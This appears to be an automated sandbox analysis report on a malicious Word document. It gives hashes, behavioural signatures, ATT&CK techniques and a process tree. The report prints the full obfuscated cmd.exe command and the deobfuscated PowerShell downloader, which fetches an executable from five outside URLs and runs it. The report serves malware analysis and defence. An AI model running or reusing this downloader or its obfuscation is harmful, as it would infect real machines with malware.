603f6b609a396a112d5a90a916b640495b26049afbfdc295bee92d5a31f4376c

General

Target

603f6b609a396a112d5a90a916b640495b26049afbfdc295bee92d5a31f4376c.doc
Size

145KB
MD5

2d09a7533f009b0f6cd0b9f237041761
SHA1

d4438568059da8dac7c76871f575867776674a96
SHA256

603f6b609a396a112d5a90a916b640495b26049afbfdc295bee92d5a31f4376c
SHA512

bd6322e3baeb29ee7a86ce281f02659cc97cb188cdd70e2927c2260b74f8398b4d7e17caf5e99b2fcd3a333be89fc4de2ae50ff4186ee5a21f8cbd4b495ae767
SSDEEP

1536:N81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvadf+a96nDfPsPwSvURabL:N8GhDS0o9zTGOZD6EbzCdgDfPsIaH

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://aspiringfilms.com/lJc7Qpx

exe.dropper

http://kelvinnikkel.com/HgR

exe.dropper

http://dayofdisconnect.com/O5Le4

exe.dropper

http://joynt.net/PVP9Pn

exe.dropper

http://craftww.pl//I1Db12jC

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4176	1964	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 5 IoCs

Processes:

powershell.exe

flow pid process

28 2908 powershell.exe
30 2908 powershell.exe
51 2908 powershell.exe
61 2908 powershell.exe
71 2908 powershell.exe
An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

Processes:

cmd.execmd.exe

pid process

4176 cmd.exe
5008 cmd.exe

flow	pid	process
28	2908	powershell.exe
30	2908	powershell.exe
51	2908	powershell.exe
61	2908	powershell.exe
71	2908	powershell.exe

pid	process
4176	cmd.exe
5008	cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1964 WINWORD.EXE
1964 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2908 powershell.exe
2908 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2908 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

1964 WINWORD.EXE
1964 WINWORD.EXE
1964 WINWORD.EXE
1964 WINWORD.EXE
1964 WINWORD.EXE
1964 WINWORD.EXE
1964 WINWORD.EXE

pid	process
1964	WINWORD.EXE
1964	WINWORD.EXE

pid	process
2908	powershell.exe
2908	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2908	powershell.exe

pid	process
1964	WINWORD.EXE
1964	WINWORD.EXE
1964	WINWORD.EXE
1964	WINWORD.EXE
1964	WINWORD.EXE
1964	WINWORD.EXE
1964	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WINWORD.EXEcmd.execmd.exe

description	pid	process	target process
PID 1964 wrote to memory of 4176	1964	WINWORD.EXE	cmd.exe
PID 1964 wrote to memory of 4176	1964	WINWORD.EXE	cmd.exe
PID 4176 wrote to memory of 5008	4176	cmd.exe	cmd.exe
PID 4176 wrote to memory of 5008	4176	cmd.exe	cmd.exe
PID 5008 wrote to memory of 2908	5008	cmd.exe	powershell.exe
PID 5008 wrote to memory of 2908	5008	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\603f6b609a396a112d5a90a916b640495b26049afbfdc295bee92d5a31f4376c.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1964

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C"set 9HMF=qPwfvuhPEpGpIRJRO0)W4B-YH$gN2/yanc{}13.Lb',D7T +sdkQiUjx@(\C:=;r8FzmlMeVt9oS5A&&for %u in (25,74,27,6,61,41,50,15,71,41,62,25,0,66,52,61,32,70,2,22,74,40,54,70,33,72,46,27,70,72,38,19,70,40,59,68,52,70,32,72,62,25,45,4,71,61,41,6,72,72,11,60,29,29,31,48,11,52,63,52,32,26,3,52,68,67,48,38,33,74,67,29,68,14,33,44,51,11,55,56,6,72,72,11,60,29,29,50,70,68,4,52,32,32,52,50,50,70,68,38,33,74,67,29,24,26,15,56,6,72,72,11,60,29,29,49,31,30,74,3,49,52,48,33,74,32,32,70,33,72,38,33,74,67,29,16,76,39,70,20,56,6,72,72,11,60,29,29,54,74,30,32,72,38,32,70,72,29,7,71,7,73,7,32,56,6,72,72,11,60,29,29,33,63,31,3,72,2,2,38,11,68,29,29,12,36,43,40,36,28,54,59,41,38,75,11,68,52,72,57,41,56,41,18,62,25,69,2,24,61,41,19,53,48,41,62,25,23,5,50,46,61,46,41,28,37,76,41,62,25,3,2,24,61,41,2,69,51,41,62,25,66,77,8,61,25,70,32,4,60,72,70,67,11,47,41,58,41,47,25,23,5,50,47,41,38,70,55,70,41,62,3,74,63,70,31,33,6,57,25,53,51,65,46,52,32,46,25,45,4,71,18,34,72,63,30,34,25,0,66,52,38,43,74,2,32,68,74,31,49,65,52,68,70,57,25,53,51,65,42,46,25,66,77,8,18,62,25,7,2,15,61,41,72,51,21,41,62,12,3,46,57,57,10,70,72,22,12,72,70,67,46,25,66,77,8,18,38,68,70,32,26,72,6,46,22,26,70,46,64,17,17,17,17,18,46,34,12,32,4,74,50,70,22,12,72,70,67,46,25,66,77,8,62,25,75,49,49,61,41,33,50,59,41,62,40,63,70,31,50,62,35,35,33,31,72,33,6,34,35,35,25,71,72,19,61,41,12,24,3,41,62,84)do set edF8=!edF8!!9HMF:~%u,1!&&if %u gtr 83 powershell.exe "!edF8:~6!""
2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:4176

C:\Windows\system32\cmd.exe
CmD /V:O/C"set 9HMF=qPwfvuhPEpGpIRJRO0)W4B-YH$gN2/yanc{}13.Lb',D7T +sdkQiUjx@(\C:=;r8FzmlMeVt9oS5A&&for %u in (25,74,27,6,61,41,50,15,71,41,62,25,0,66,52,61,32,70,2,22,74,40,54,70,33,72,46,27,70,72,38,19,70,40,59,68,52,70,32,72,62,25,45,4,71,61,41,6,72,72,11,60,29,29,31,48,11,52,63,52,32,26,3,52,68,67,48,38,33,74,67,29,68,14,33,44,51,11,55,56,6,72,72,11,60,29,29,50,70,68,4,52,32,32,52,50,50,70,68,38,33,74,67,29,24,26,15,56,6,72,72,11,60,29,29,49,31,30,74,3,49,52,48,33,74,32,32,70,33,72,38,33,74,67,29,16,76,39,70,20,56,6,72,72,11,60,29,29,54,74,30,32,72,38,32,70,72,29,7,71,7,73,7,32,56,6,72,72,11,60,29,29,33,63,31,3,72,2,2,38,11,68,29,29,12,36,43,40,36,28,54,59,41,38,75,11,68,52,72,57,41,56,41,18,62,25,69,2,24,61,41,19,53,48,41,62,25,23,5,50,46,61,46,41,28,37,76,41,62,25,3,2,24,61,41,2,69,51,41,62,25,66,77,8,61,25,70,32,4,60,72,70,67,11,47,41,58,41,47,25,23,5,50,47,41,38,70,55,70,41,62,3,74,63,70,31,33,6,57,25,53,51,65,46,52,32,46,25,45,4,71,18,34,72,63,30,34,25,0,66,52,38,43,74,2,32,68,74,31,49,65,52,68,70,57,25,53,51,65,42,46,25,66,77,8,18,62,25,7,2,15,61,41,72,51,21,41,62,12,3,46,57,57,10,70,72,22,12,72,70,67,46,25,66,77,8,18,38,68,70,32,26,72,6,46,22,26,70,46,64,17,17,17,17,18,46,34,12,32,4,74,50,70,22,12,72,70,67,46,25,66,77,8,62,25,75,49,49,61,41,33,50,59,41,62,40,63,70,31,50,62,35,35,33,31,72,33,6,34,35,35,25,71,72,19,61,41,12,24,3,41,62,84)do set edF8=!edF8!!9HMF:~%u,1!&&if %u gtr 83 powershell.exe "!edF8:~6!""
3⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:5008

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe "$oNh='kRV';$qzi=new-object Net.WebClient;$TvV='http://aspiringfilms.com/lJc7Qpx@http://kelvinnikkel.com/HgR@http://dayofdisconnect.com/O5Le4@http://joynt.net/PVP9Pn@http://craftww.pl//I1Db12jC'.Split('@');$MwH='WUs';$Yuk = '235';$fwH='wMQ';$zAE=$env:temp+'\'+$Yuk+'.exe';foreach($UQF in $TvV){try{$qzi.DownloadFile($UQF, $zAE);$PwR='tQB';If ((Get-Item $zAE).length -ge 80000) {Invoke-Item $zAE;$Sdd='ckC';break;}}catch{}}$VtW='IHf';"
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2908

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1964-132-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp

Filesize
64KB

Download
memory/1964-133-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp

Filesize
64KB

Download
memory/1964-134-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp

Filesize
64KB

Download
memory/1964-135-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp

Filesize
64KB

Download
memory/1964-136-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp

Filesize
64KB

Download
memory/1964-137-0x00007FFAF22E0000-0x00007FFAF22F0000-memory.dmp

Filesize
64KB

Download
memory/1964-138-0x00007FFAF22E0000-0x00007FFAF22F0000-memory.dmp

Filesize
64KB

Download
memory/1964-150-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp

Filesize
64KB

Download
memory/1964-149-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp

Filesize
64KB

Download
memory/1964-148-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp

Filesize
64KB

Download
memory/1964-147-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp

Filesize
64KB

Download
memory/2908-144-0x00007FFB09460000-0x00007FFB09F21000-memory.dmp

Filesize
10.8MB

Download
memory/2908-143-0x00007FFB09460000-0x00007FFB09F21000-memory.dmp

Filesize
10.8MB

Download
memory/2908-145-0x00007FFB09460000-0x00007FFB09F21000-memory.dmp

Filesize
10.8MB

Download
memory/2908-142-0x00000186334F0000-0x0000018633512000-memory.dmp

Filesize
136KB

Download
memory/2908-141-0x0000000000000000-mapping.dmp

Download
memory/4176-139-0x0000000000000000-mapping.dmp

Download
memory/5008-140-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads